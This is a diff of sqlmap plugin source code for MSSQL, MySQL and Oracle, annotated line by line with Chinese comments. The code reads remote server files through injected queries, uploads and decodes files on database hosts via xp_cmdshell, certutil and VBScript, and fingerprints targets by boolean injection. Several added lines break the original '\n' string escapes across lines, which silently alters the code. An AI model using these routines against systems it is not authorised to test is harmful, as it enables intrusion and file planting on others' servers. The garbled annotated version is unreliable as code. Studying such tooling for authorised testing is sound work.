-        self.xpCmdshellWriteFile(encodedFileContent, tmpPath, randFile)
 
         logger.debug("uploading a visual basic decoder stub %s\\%s, please wait.." % (tmpPath, randVbs))
+        self.xpCmdshellWriteFile(vbs, tmpPath, randVbs) # 使用 xp_cmdshell 将 VBScript 脚本写入到服务器
 
-        self.xpCmdshellWriteFile(vbs, tmpPath, randVbs)
+        # 执行 VBScript 脚本，将 Base64 编码后的文件内容解码并写入到目标文件
-
         commands = (
             "cd \"%s\"" % tmpPath,
             "cscript //nologo %s" % randVbs,
@@ -355,26 +380,28 @@ class Filesystem(GenericFilesystem):
 
         self.execCmd(" & ".join(command for command in commands))
 
+    # 定义 _stackedWriteFileCertutilExe 方法，用于使用 certutil.exe 写入文件内容
     def _stackedWriteFileCertutilExe(self, tmpPath, localFile, localFileContent, remoteFile, fileType):
         infoMsg = "using certutil.exe to write the %s " % fileType
         infoMsg += "file content to file '%s', please wait.." % remoteFile
         logger.info(infoMsg)
 
-        chunkMaxSize = 500
+        chunkMaxSize = 500 # 设置最大 chunk 大小
 
-        randFile = "tmpf%s.txt" % randomStr(lowercase=True)
+        randFile = "tmpf%s.txt" % randomStr(lowercase=True) # 生成随机的文件名
-        randFilePath = "%s\\%s" % (tmpPath, randFile)
+        randFilePath = "%s\\%s" % (tmpPath, randFile) # 构建文件路径
 
-        encodedFileContent = encodeBase64(localFileContent, binary=False)
+        encodedFileContent = encodeBase64(localFileContent, binary=False) # 将文件内容进行 Base64 编码
 
-        splittedEncodedFileContent = '\n'.join([encodedFileContent[i:i + chunkMaxSize] for i in xrange(0, len(encodedFileContent), chunkMaxSize)])
+        splittedEncodedFileContent = '\
+'.join([encodedFileContent[i:i + chunkMaxSize] for i in xrange(0, len(encodedFileContent), chunkMaxSize)]) # 分块 Base64 编码文件内容
 
         logger.debug("uploading the file base64-encoded content to %s, please wait.." % randFilePath)
-
+        self.xpCmdshellWriteFile(splittedEncodedFileContent, tmpPath, randFile) # 使用 xp_cmdshell 将分块 Base64 编码后的文件内容写入到服务器
-        self.xpCmdshellWriteFile(splittedEncodedFileContent, tmpPath, randFile)
 
         logger.debug("decoding the file to %s.." % remoteFile)
 
+        # 执行 certutil.exe 命令，将 Base64 编码后的文件内容解码并写入到目标文件
         commands = (
             "cd \"%s\"" % tmpPath,
             "certutil -f -decode %s %s" % (randFile, remoteFile),
@@ -383,6 +410,7 @@ class Filesystem(GenericFilesystem):
 
         self.execCmd(" & ".join(command for command in commands))
 
+    # 定义 stackedWriteFile 方法，用于使用堆叠查询写入文件
     def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
         # NOTE: this is needed here because we use xp_cmdshell extended
         # procedure to write a file on the back-end Microsoft SQL Server
@@ -390,15 +418,16 @@ class Filesystem(GenericFilesystem):
         self.initEnv()
         self.getRemoteTempPath()
 
-        tmpPath = posixToNtSlashes(conf.tmpPath)
+        tmpPath = posixToNtSlashes(conf.tmpPath) # 获取临时路径并转换为 NT 路径
-        remoteFile = posixToNtSlashes(remoteFile)
+        remoteFile = posixToNtSlashes(remoteFile) # 将远程文件名转换为 NT 路径
 
-        checkFile(localFile)
+        checkFile(localFile) # 检查本地文件是否存在
-        localFileContent = open(localFile, "rb").read()
+        localFileContent = open(localFile, "rb").read() # 读取本地文件内容
 
-        self._stackedWriteFilePS(tmpPath, localFileContent, remoteFile, fileType)
+        self._stackedWriteFilePS(tmpPath, localFileContent, remoteFile, fileType) # 尝试使用 PowerShell 写入文件
-        written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck)
+        written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck) # 询问是否成功写入
 
+        # 如果 PowerShell 写入失败，则尝试使用 VBScript 写入文件
         if written is False:
             message = "do you want to try to upload the file with "
             message += "the custom Visual Basic script technique? [Y/n] "
@@ -407,6 +436,7 @@ class Filesystem(GenericFilesystem):
                 self._stackedWriteFileVbs(tmpPath, localFileContent, remoteFile, fileType)
                 written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck)
 
+        # 如果 VBScript 写入失败，则尝试使用 debug.exe 写入文件
         if written is False:
             message = "do you want to try to upload the file with "
             message += "the built-in debug.exe technique? [Y/n] "
@@ -415,6 +445,7 @@ class Filesystem(GenericFilesystem):
                 self._stackedWriteFileDebugExe(tmpPath, localFile, localFileContent, remoteFile, fileType)
                 written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck)
 
+        # 如果 debug.exe 写入失败，则尝试使用 certutil.exe 写入文件
         if written is False:
             message = "do you want to try to upload the file with "
             message += "the built-in certutil.exe technique? [Y/n] "
@@ -423,4 +454,4 @@ class Filesystem(GenericFilesystem):
                 self._stackedWriteFileCertutilExe(tmpPath, localFile, localFileContent, remoteFile, fileType)
                 written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck)
 
-        return written
+        return written # 返回是否成功写入

src/sqlmap-master/plugins/dbms/mssqlserver/fingerprint.py

@@ -5,89 +5,96 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
-from lib.core.common import Backend
+# 导入必要的模块
-from lib.core.common import Format
+from lib.core.common import Backend # 导入 Backend 类，用于访问后端数据库信息
-from lib.core.convert import getUnicode
+from lib.core.common import Format # 导入 Format 类，用于格式化输出信息
-from lib.core.data import conf
+from lib.core.convert import getUnicode # 导入 getUnicode 函数，用于获取 Unicode 字符串
-from lib.core.data import kb
+from lib.core.data import conf # 导入 conf 对象，用于访问全局配置信息
-from lib.core.data import logger
+from lib.core.data import kb # 导入 kb 对象，用于访问全局知识库
-from lib.core.enums import DBMS
+from lib.core.data import logger # 导入 logger 对象，用于输出日志
-from lib.core.enums import OS
+from lib.core.enums import DBMS # 导入 DBMS 枚举，定义数据库管理系统类型
-from lib.core.session import setDbms
+from lib.core.enums import OS # 导入 OS 枚举，定义操作系统类型
-from lib.core.settings import MSSQL_ALIASES
+from lib.core.session import setDbms # 导入 setDbms 函数，用于设置数据库类型
-from lib.request import inject
+from lib.core.settings import MSSQL_ALIASES # 导入 MSSQL_ALIASES 常量，定义 SQL Server 的别名
-from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
+from lib.request import inject # 导入 inject 函数，用于执行 SQL 注入请求
-
+from plugins.generic.fingerprint import Fingerprint as GenericFingerprint # 导入 GenericFingerprint 类，作为当前类的父类
+
+# 定义 Fingerprint 类，继承自 GenericFingerprint
 class Fingerprint(GenericFingerprint):
+    # 初始化 Fingerprint 类，设置数据库类型为 MSSQL
     def __init__(self):
         GenericFingerprint.__init__(self, DBMS.MSSQL)
 
+    # 定义 getFingerprint 方法，用于获取数据库指纹信息
     def getFingerprint(self):
-        value = ""
+        value = "" # 初始化指纹信息字符串
-        wsOsFp = Format.getOs("web server", kb.headersFp)
+        wsOsFp = Format.getOs("web server", kb.headersFp) # 获取 Web 服务器操作系统信息
 
         if wsOsFp:
-            value += "%s\n" % wsOsFp
+            value += "%s\
+" % wsOsFp # 将 Web 服务器操作系统信息添加到指纹信息
 
-        if kb.data.banner:
+        if kb.data.banner: # 如果存在数据库 banner 信息
-            dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)
+            dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) # 获取数据库操作系统信息
 
             if dbmsOsFp:
-                value += "%s\n" % dbmsOsFp
+                value += "%s\
+" % dbmsOsFp # 将数据库操作系统信息添加到指纹信息
 
-        value += "back-end DBMS: "
+        value += "back-end DBMS: " # 添加数据库类型标签
-        actVer = Format.getDbms()
+        actVer = Format.getDbms() # 获取数据库类型
 
-        if not conf.extensiveFp:
+        if not conf.extensiveFp: # 如果不需要详细指纹信息
-            value += actVer
+            value += actVer # 将数据库类型添加到指纹信息
-            return value
+            return value # 返回指纹信息
 
-        blank = " " * 15
+        blank = " " * 15 # 定义缩进空格
-        value += "active fingerprint: %s" % actVer
+        value += "active fingerprint: %s" % actVer # 添加当前指纹信息
 
-        if kb.bannerFp:
+        if kb.bannerFp: # 如果存在数据库 banner 信息
-            release = kb.bannerFp.get("dbmsRelease")
+            release = kb.bannerFp.get("dbmsRelease") # 获取数据库版本发布信息
-            version = kb.bannerFp.get("dbmsVersion")
+            version = kb.bannerFp.get("dbmsVersion") # 获取数据库版本信息
-            servicepack = kb.bannerFp.get("dbmsServicePack")
+            servicepack = kb.bannerFp.get("dbmsServicePack") # 获取数据库服务包信息
 
-            if release and version and servicepack:
+            if release and version and servicepack: # 如果所有信息都存在
-                banVer = "%s %s " % (DBMS.MSSQL, release)
+                banVer = "%s %s " % (DBMS.MSSQL, release) # 构建 banner 版本信息
-                banVer += "Service Pack %s " % servicepack
+                banVer += "Service Pack %s " % servicepack # 添加服务包信息
-                banVer += "version %s" % version
+                banVer += "version %s" % version # 添加版本信息
 
-                value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
+                value += "\
+%sbanner parsing fingerprint: %s" % (blank, banVer) # 将 banner 版本信息添加到指纹信息
 
-        htmlErrorFp = Format.getErrorParsedDBMSes()
+        htmlErrorFp = Format.getErrorParsedDBMSes() # 获取 HTML 错误信息中的数据库信息
 
         if htmlErrorFp:
-            value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
+            value += "\
+%shtml error message fingerprint: %s" % (blank, htmlErrorFp) # 将 HTML 错误信息中的数据库信息添加到指纹信息
 
-        return value
+        return value # 返回指纹信息
 
+    # 定义 checkDbms 方法，用于检查数据库类型是否为 MSSQL
     def checkDbms(self):
-        if not conf.extensiveFp and Backend.isDbmsWithin(MSSQL_ALIASES):
+        if not conf.extensiveFp and Backend.isDbmsWithin(MSSQL_ALIASES): # 如果不需要详细指纹并且数据库别名匹配
-            setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion()))
+            setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion())) # 设置数据库类型
-
+            self.getBanner() # 获取数据库 banner 信息
-            self.getBanner()
+            Backend.setOs(OS.WINDOWS) # 设置操作系统类型为 Windows
-
+            return True # 返回 True
-            Backend.setOs(OS.WINDOWS)
-
-            return True
 
-        infoMsg = "testing %s" % DBMS.MSSQL
+        infoMsg = "testing %s" % DBMS.MSSQL # 输出正在测试 MSSQL 的信息
         logger.info(infoMsg)
 
         # NOTE: SELECT LEN(@@VERSION)=LEN(@@VERSION) FROM DUAL does not
         # work connecting directly to the Microsoft SQL Server database
-        if conf.direct:
+        if conf.direct: # 如果是直接连接
-            result = True
+            result = True # 直接设置为 True
         else:
-            result = inject.checkBooleanExpression("UNICODE(SQUARE(NULL)) IS NULL")
+            result = inject.checkBooleanExpression("UNICODE(SQUARE(NULL)) IS NULL") # 使用 SQL 注入检查
 
-        if result:
+        if result: # 如果检查结果为 True
-            infoMsg = "confirming %s" % DBMS.MSSQL
+            infoMsg = "confirming %s" % DBMS.MSSQL # 输出确认是 MSSQL 的信息
             logger.info(infoMsg)
 
+            # 遍历不同的 MSSQL 版本及其检查语句
             for version, check in (
                 ("2022", "CHARINDEX('16.0.',@@VERSION)>0"),
                 ("2019", "CHARINDEX('15.0.',@@VERSION)>0"),
@@ -100,48 +107,46 @@ class Fingerprint(GenericFingerprint):
                 ("2005", "XACT_STATE()=XACT_STATE()"),
                 ("2000", "HOST_NAME()=HOST_NAME()"),
             ):
-                result = inject.checkBooleanExpression(check)
+                result = inject.checkBooleanExpression(check) # 使用 SQL 注入检查版本
 
                 if result:
-                    Backend.setVersion(version)
+                    Backend.setVersion(version) # 设置数据库版本
                     break
 
             if Backend.getVersion():
-                setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion()))
+                setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion())) # 设置数据库类型和版本
             else:
-                setDbms(DBMS.MSSQL)
+                setDbms(DBMS.MSSQL) # 设置数据库类型
 
-            self.getBanner()
+            self.getBanner() # 获取数据库 banner 信息
-
+            Backend.setOs(OS.WINDOWS) # 设置操作系统类型为 Windows
-            Backend.setOs(OS.WINDOWS)
+            return True # 返回 True
-
+        else: # 如果检查结果为 False
-            return True
+            warnMsg = "the back-end DBMS is not %s" % DBMS.MSSQL # 输出警告信息
-        else:
-            warnMsg = "the back-end DBMS is not %s" % DBMS.MSSQL
             logger.warning(warnMsg)
+            return False # 返回 False
 
-            return False
+    # 定义 checkDbmsOs 方法，用于检查数据库操作系统信息
-
     def checkDbmsOs(self, detailed=False):
-        if Backend.getOs() and Backend.getOsVersion() and Backend.getOsServicePack():
+        if Backend.getOs() and Backend.getOsVersion() and Backend.getOsServicePack(): # 如果已获取操作系统信息，则直接返回
             return
 
-        if not Backend.getOs():
+        if not Backend.getOs(): # 如果没有获取操作系统信息
-            Backend.setOs(OS.WINDOWS)
+            Backend.setOs(OS.WINDOWS) # 设置操作系统类型为 Windows
 
-        if not detailed:
+        if not detailed: # 如果不需要详细信息，则直接返回
             return
 
-        infoMsg = "fingerprinting the back-end DBMS operating system "
+        infoMsg = "fingerprinting the back-end DBMS operating system " # 输出正在获取操作系统版本和服务包的信息
         infoMsg += "version and service pack"
         logger.info(infoMsg)
 
-        infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs()
+        infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() # 输出操作系统类型
 
-        self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)")
+        self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)") # 创建支持表，用于存储版本信息
-        inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION"))
+        inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION")) # 将 @@VERSION 写入支持表
 
-        # Reference: https://en.wikipedia.org/wiki/Comparison_of_Microsoft_Windows_versions
+        # 参考：https://en.wikipedia.org/wiki/Comparison_of_Microsoft_Windows_versions
         # https://en.wikipedia.org/wiki/Windows_NT#Releases
         versions = {
             "NT": ("4.0", (6, 5, 4, 3, 2, 1)),
@@ -155,50 +160,50 @@ class Fingerprint(GenericFingerprint):
             "10 or 11 or 2016 or 2019 or 2022": ("10.0", (0,))
         }
 
-        # Get back-end DBMS underlying operating system version
+        # 获取数据库操作系统版本
         for version, data in versions.items():
-            query = "EXISTS(SELECT %s FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
+            query = "EXISTS(SELECT %s FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) # 构建查询语句
-            query += "LIKE '%Windows NT " + data[0] + "%')"
+            query += "LIKE '%Windows NT " + data[0] + "%')" # 添加版本判断条件
-            result = inject.checkBooleanExpression(query)
+            result = inject.checkBooleanExpression(query) # 使用 SQL 注入检查
 
             if result:
-                Backend.setOsVersion(version)
+                Backend.setOsVersion(version) # 设置操作系统版本
-                infoMsg += " %s" % Backend.getOsVersion()
+                infoMsg += " %s" % Backend.getOsVersion() # 将操作系统版本信息添加到日志信息
                 break
 
-        if not Backend.getOsVersion():
+        if not Backend.getOsVersion(): # 如果没有获取到操作系统版本
-            Backend.setOsVersion("2003")
+            Backend.setOsVersion("2003") # 默认设置为 2003
-            Backend.setOsServicePack(2)
+            Backend.setOsServicePack(2) # 默认设置为服务包 2
 
             warnMsg = "unable to fingerprint the underlying operating "
             warnMsg += "system version, assuming it is Windows "
             warnMsg += "%s Service Pack %d" % (Backend.getOsVersion(), Backend.getOsServicePack())
             logger.warning(warnMsg)
 
-            self.cleanup(onlyFileTbl=True)
+            self.cleanup(onlyFileTbl=True) # 清理支持表
 
             return
 
-        # Get back-end DBMS underlying operating system service pack
+        # 获取操作系统服务包
-        sps = versions[Backend.getOsVersion()][1]
+        sps = versions[Backend.getOsVersion()][1] # 获取服务包列表
         for sp in sps:
-            query = "EXISTS(SELECT %s FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
+            query = "EXISTS(SELECT %s FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) # 构建查询语句
-            query += "LIKE '%Service Pack " + getUnicode(sp) + "%')"
+            query += "LIKE '%Service Pack " + getUnicode(sp) + "%')" # 添加服务包判断条件
-            result = inject.checkBooleanExpression(query)
+            result = inject.checkBooleanExpression(query) # 使用 SQL 注入检查
 
             if result:
-                Backend.setOsServicePack(sp)
+                Backend.setOsServicePack(sp) # 设置操作系统服务包
                 break
 
-        if not Backend.getOsServicePack():
+        if not Backend.getOsServicePack(): # 如果没有获取到服务包
-            debugMsg = "assuming the operating system has no service pack"
+            debugMsg = "assuming the operating system has no service pack" # 输出调试信息
             logger.debug(debugMsg)
 
-            Backend.setOsServicePack(0)
+            Backend.setOsServicePack(0) # 默认设置为服务包 0
 
         if Backend.getOsVersion():
-            infoMsg += " Service Pack %d" % Backend.getOsServicePack()
+            infoMsg += " Service Pack %d" % Backend.getOsServicePack() # 将服务包信息添加到日志信息
 
         logger.info(infoMsg)
 
-        self.cleanup(onlyFileTbl=True)
+        self.cleanup(onlyFileTbl=True) # 清理支持表

src/sqlmap-master/plugins/dbms/mysql/filesystem.py

@@ -5,96 +5,118 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
-from lib.core.agent import agent
+# 1. 从库中导入需要的模块
-from lib.core.common import getSQLSnippet
+from lib.core.agent import agent #  SQL 注入执行代理
-from lib.core.common import isNumPosStrValue
+from lib.core.common import getSQLSnippet  # 获取 SQL 代码片段
-from lib.core.common import isTechniqueAvailable
+from lib.core.common import isNumPosStrValue  # 检查值是否为正数
-from lib.core.common import popValue
+from lib.core.common import isTechniqueAvailable  # 判断某注入方法是否可用
-from lib.core.common import pushValue
+from lib.core.common import popValue  # 弹出栈值
-from lib.core.common import randomStr
+from lib.core.common import pushValue  # 压入栈值
-from lib.core.common import singleTimeWarnMessage
+from lib.core.common import randomStr  # 生成随机字符串
-from lib.core.compat import xrange
+from lib.core.common import singleTimeWarnMessage  # 输出只显示一次的警告
-from lib.core.data import conf
+from lib.core.compat import xrange  # 兼容的 range 函数
-from lib.core.data import kb
+from lib.core.data import conf # 全局配置信息
-from lib.core.data import logger
+from lib.core.data import kb # 全局知识库
-from lib.core.decorators import stackedmethod
+from lib.core.data import logger # 日志记录器
-from lib.core.enums import CHARSET_TYPE
+from lib.core.decorators import stackedmethod # 堆叠方法装饰器
-from lib.core.enums import DBMS
+from lib.core.enums import CHARSET_TYPE #  字符集类型
-from lib.core.enums import EXPECTED
+from lib.core.enums import DBMS  # 数据库类型枚举
-from lib.core.enums import PAYLOAD
+from lib.core.enums import EXPECTED #  期望类型
-from lib.core.enums import PLACE
+from lib.core.enums import PAYLOAD #  payload 类型
-from lib.core.exception import SqlmapNoneDataException
+from lib.core.enums import PLACE # 注入位置
-from lib.request import inject
+from lib.core.exception import SqlmapNoneDataException  # 无数据异常
-from lib.request.connect import Connect as Request
+from lib.request import inject # 注入相关函数
-from lib.techniques.union.use import unionUse
+from lib.request.connect import Connect as Request # 连接请求
-from plugins.generic.filesystem import Filesystem as GenericFilesystem
+from lib.techniques.union.use import unionUse  # UNION 注入方法
-
+from plugins.generic.filesystem import Filesystem as GenericFilesystem  # 通用文件系统操作类
+
+# 2. 定义一个类 Filesystem，继承自 GenericFilesystem
 class Filesystem(GenericFilesystem):
+    # 3. 非堆叠读取文件的方法
     def nonStackedReadFile(self, rFile):
+        # 4. 如果不是暴力模式，则输出读取文件信息
         if not kb.bruteMode:
             infoMsg = "fetching file: '%s'" % rFile
             logger.info(infoMsg)
-
+        # 5. 执行SQL注入，读取文件内容，并以十六进制返回
         result = inject.getValue("HEX(LOAD_FILE('%s'))" % rFile, charsetType=CHARSET_TYPE.HEXADECIMAL)
-
+        # 6. 返回读取结果
         return result
 
+    # 7. 堆叠读取文件的方法
     def stackedReadFile(self, remoteFile):
+        # 8. 如果不是暴力模式，则输出读取文件信息
         if not kb.bruteMode:
             infoMsg = "fetching file: '%s'" % remoteFile
             logger.info(infoMsg)
 
+        # 9. 创建支持表
         self.createSupportTbl(self.fileTblName, self.tblField, "longtext")
+        # 10. 获取远程临时目录
         self.getRemoteTempPath()
 
+        # 11. 构建临时文件名
         tmpFile = "%s/tmpf%s" % (conf.tmpPath, randomStr(lowercase=True))
 
+        # 12. 输出调试信息
         debugMsg = "saving hexadecimal encoded content of file '%s' " % remoteFile
         debugMsg += "into temporary file '%s'" % tmpFile
         logger.debug(debugMsg)
+        # 13. 通过堆叠查询，将文件内容以十六进制形式保存到临时文件
         inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (remoteFile, tmpFile))
 
+        # 14. 输出调试信息
         debugMsg = "loading the content of hexadecimal encoded file "
         debugMsg += "'%s' into support table" % remoteFile
         logger.debug(debugMsg)
+        # 15. 通过堆叠查询，将临时文件内容导入到支持表中
         inject.goStacked("LOAD DATA INFILE '%s' INTO TABLE %s FIELDS TERMINATED BY '%s' (%s)" % (tmpFile, self.fileTblName, randomStr(10), self.tblField))
 
+        # 16. 从支持表中获取文件内容的长度
         length = inject.getValue("SELECT LENGTH(%s) FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
 
+        # 17. 如果获取到的文件长度不合法
         if not isNumPosStrValue(length):
             warnMsg = "unable to retrieve the content of the "
             warnMsg += "file '%s'" % remoteFile
 
+            # 18. 如果是直接模式或可以使用UNION注入
             if conf.direct or isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
                 if not kb.bruteMode:
                     warnMsg += ", going to fall-back to simpler UNION technique"
                     logger.warning(warnMsg)
+                # 19. 使用非堆叠方法读取文件
                 result = self.nonStackedReadFile(remoteFile)
             else:
+                # 20. 如果没有可用的方法，则抛出异常
                 raise SqlmapNoneDataException(warnMsg)
         else:
+            # 21. 将获取到的文件长度转为整数
             length = int(length)
             chunkSize = 1024
-
+             # 22. 如果文件长度大于 chunkSize
             if length > chunkSize:
                 result = []
-
+                # 23. 循环读取文件内容
                 for i in xrange(1, length, chunkSize):
                     chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, chunkSize, self.fileTblName), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL)
                     result.append(chunk)
             else:
+                # 24. 直接读取文件内容
                 result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL)
-
+        # 25. 返回文件内容
         return result
 
+    # 26. 使用 UNION 注入写入文件的方法
     @stackedmethod
     def unionWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
         logger.debug("encoding file to its hexadecimal string value")
-
+        # 27. 对本地文件进行十六进制编码
         fcEncodedList = self.fileEncode(localFile, "hex", True)
         fcEncodedStr = fcEncodedList[0]
         fcEncodedStrLen = len(fcEncodedStr)
 
+         # 28. 如果在 GET 请求中且编码后的长度大于 8000，则输出警告信息
         if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
             warnMsg = "as the injection is on a GET parameter and the file "
             warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
@@ -102,28 +124,36 @@ class Filesystem(GenericFilesystem):
             warnMsg += "writing process"
             logger.warning(warnMsg)
 
+        # 29. 输出调试信息
         debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile)
         logger.debug(debugMsg)
 
+        # 30. 强制使用负数 where 条件
         pushValue(kb.forceWhere)
         kb.forceWhere = PAYLOAD.WHERE.NEGATIVE
+        # 31. 构建 SQL 查询语句
         sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, remoteFile)
+        # 32. 执行 SQL 查询
         unionUse(sqlQuery, unpack=False)
         kb.forceWhere = popValue()
-
+        # 33. 输出警告信息，提示文件可能包含垃圾字符
         warnMsg = "expect junk characters inside the "
         warnMsg += "file as a leftover from UNION query"
         singleTimeWarnMessage(warnMsg)
 
+        # 34. 检查写入的文件
         return self.askCheckWrittenFile(localFile, remoteFile, forceCheck)
 
+    # 35. 使用 LINES TERMINATED 写入文件的方法
     def linesTerminatedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
         logger.debug("encoding file to its hexadecimal string value")
 
+         # 36. 对本地文件进行十六进制编码
         fcEncodedList = self.fileEncode(localFile, "hex", True)
         fcEncodedStr = fcEncodedList[0][2:]
         fcEncodedStrLen = len(fcEncodedStr)
 
+        # 37. 如果在 GET 请求中且编码后的长度大于 8000，则输出警告信息
         if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
             warnMsg = "the injection is on a GET parameter and the file "
             warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
@@ -131,47 +161,59 @@ class Filesystem(GenericFilesystem):
             warnMsg += "writing process"
             logger.warning(warnMsg)
 
+        # 38. 输出调试信息
         debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile)
         logger.debug(debugMsg)
 
+        # 39. 获取 SQL 代码片段
         query = getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=remoteFile, HEXSTRING=fcEncodedStr)
+        # 40. 添加 SQL 前缀
         query = agent.prefixQuery(query)        # Note: No need for suffix as 'write_file_limit' already ends with comment (required)
+        # 41. 生成 payload
         payload = agent.payload(newValue=query)
+        # 42. 执行 SQL 查询
         Request.queryPage(payload, content=False, raise404=False, silent=True, noteResponseTime=False)
-
+        # 43. 输出警告信息，提示文件可能包含垃圾字符
         warnMsg = "expect junk characters inside the "
         warnMsg += "file as a leftover from original query"
         singleTimeWarnMessage(warnMsg)
-
+         # 44. 检查写入的文件
         return self.askCheckWrittenFile(localFile, remoteFile, forceCheck)
 
+    # 45. 使用堆叠查询写入文件的方法
     def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
+        # 46. 输出调试信息
         debugMsg = "creating a support table to write the hexadecimal "
         debugMsg += "encoded file to"
         logger.debug(debugMsg)
 
+        # 47. 创建支持表
         self.createSupportTbl(self.fileTblName, self.tblField, "longblob")
-
+        # 48. 输出调试信息
         logger.debug("encoding file to its hexadecimal string value")
+        # 49. 对本地文件进行十六进制编码
         fcEncodedList = self.fileEncode(localFile, "hex", False)
-
+        # 50. 输出调试信息
         debugMsg = "forging SQL statements to write the hexadecimal "
         debugMsg += "encoded file to the support table"
         logger.debug(debugMsg)
 
+        # 51. 将文件内容转换为 SQL 查询语句
         sqlQueries = self.fileToSqlQueries(fcEncodedList)
-
+        # 52. 输出调试信息
         logger.debug("inserting the hexadecimal encoded file to the support table")
-
+        # 53. 设置最大允许的数据包大小
         inject.goStacked("SET GLOBAL max_allowed_packet = %d" % (1024 * 1024))  # 1MB (Note: https://github.com/sqlmapproject/sqlmap/issues/3230)
-
+        # 54. 循环执行 SQL 查询语句
         for sqlQuery in sqlQueries:
             inject.goStacked(sqlQuery)
-
+         # 55. 输出调试信息
         debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile)
         logger.debug(debugMsg)
 
+        # 56. 使用 DUMPFILE 将数据导出到远程文件
         # Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html
         inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, remoteFile), silent=True)
 
+        # 57. 检查写入的文件
         return self.askCheckWrittenFile(localFile, remoteFile, forceCheck)

src/sqlmap-master/plugins/dbms/oracle/enumeration.py

@@ -5,85 +5,91 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
-from lib.core.common import getLimitRange
+# 1. 导入必要的模块
-from lib.core.common import isAdminFromPrivileges
+from lib.core.common import getLimitRange  # 获取限制范围
-from lib.core.common import isInferenceAvailable
+from lib.core.common import isAdminFromPrivileges  # 判断是否为管理员
-from lib.core.common import isNoneValue
+from lib.core.common import isInferenceAvailable  # 判断是否可以使用推断注入
-from lib.core.common import isNumPosStrValue
+from lib.core.common import isNoneValue  # 判断是否为 None 值
-from lib.core.common import isTechniqueAvailable
+from lib.core.common import isNumPosStrValue  # 判断是否为数字正字符串值
-from lib.core.compat import xrange
+from lib.core.common import isTechniqueAvailable  # 判断是否可以使用特定注入技术
-from lib.core.data import conf
+from lib.core.compat import xrange  # 兼容 Python 2 和 3 的 xrange
-from lib.core.data import kb
+from lib.core.data import conf  # 全局配置信息
-from lib.core.data import logger
+from lib.core.data import kb  # 全局知识库
-from lib.core.data import queries
+from lib.core.data import logger  # 日志记录器
-from lib.core.enums import CHARSET_TYPE
+from lib.core.data import queries  # SQL 查询语句
-from lib.core.enums import DBMS
+from lib.core.enums import CHARSET_TYPE  # 字符集类型枚举
-from lib.core.enums import EXPECTED
+from lib.core.enums import DBMS  # 数据库管理系统枚举
-from lib.core.enums import PAYLOAD
+from lib.core.enums import EXPECTED  # 预期返回类型枚举
-from lib.core.exception import SqlmapNoneDataException
+from lib.core.enums import PAYLOAD  # 注入类型枚举
-from lib.core.settings import CURRENT_USER
+from lib.core.exception import SqlmapNoneDataException  # 没有数据异常
-from lib.request import inject
+from lib.core.settings import CURRENT_USER  # 当前用户
-from plugins.generic.enumeration import Enumeration as GenericEnumeration
+from lib.request import inject  # 注入相关函数
-
+from plugins.generic.enumeration import Enumeration as GenericEnumeration  # 通用枚举类
+
+# 2. 定义一个类 Enumeration，继承自 GenericEnumeration
 class Enumeration(GenericEnumeration):
+    # 3. 获取数据库用户角色
     def getRoles(self, query2=False):
+        # 4. 输出获取数据库用户角色信息
         infoMsg = "fetching database users roles"
-
+        # 5. 从查询集中获取角色查询语句
         rootQuery = queries[DBMS.ORACLE].roles
 
+        # 6. 如果用户名为当前用户，则获取当前用户名
         if conf.user == CURRENT_USER:
             infoMsg += " for current user"
             conf.user = self.getCurrentUser()
 
         logger.info(infoMsg)
 
-        # Set containing the list of DBMS administrators
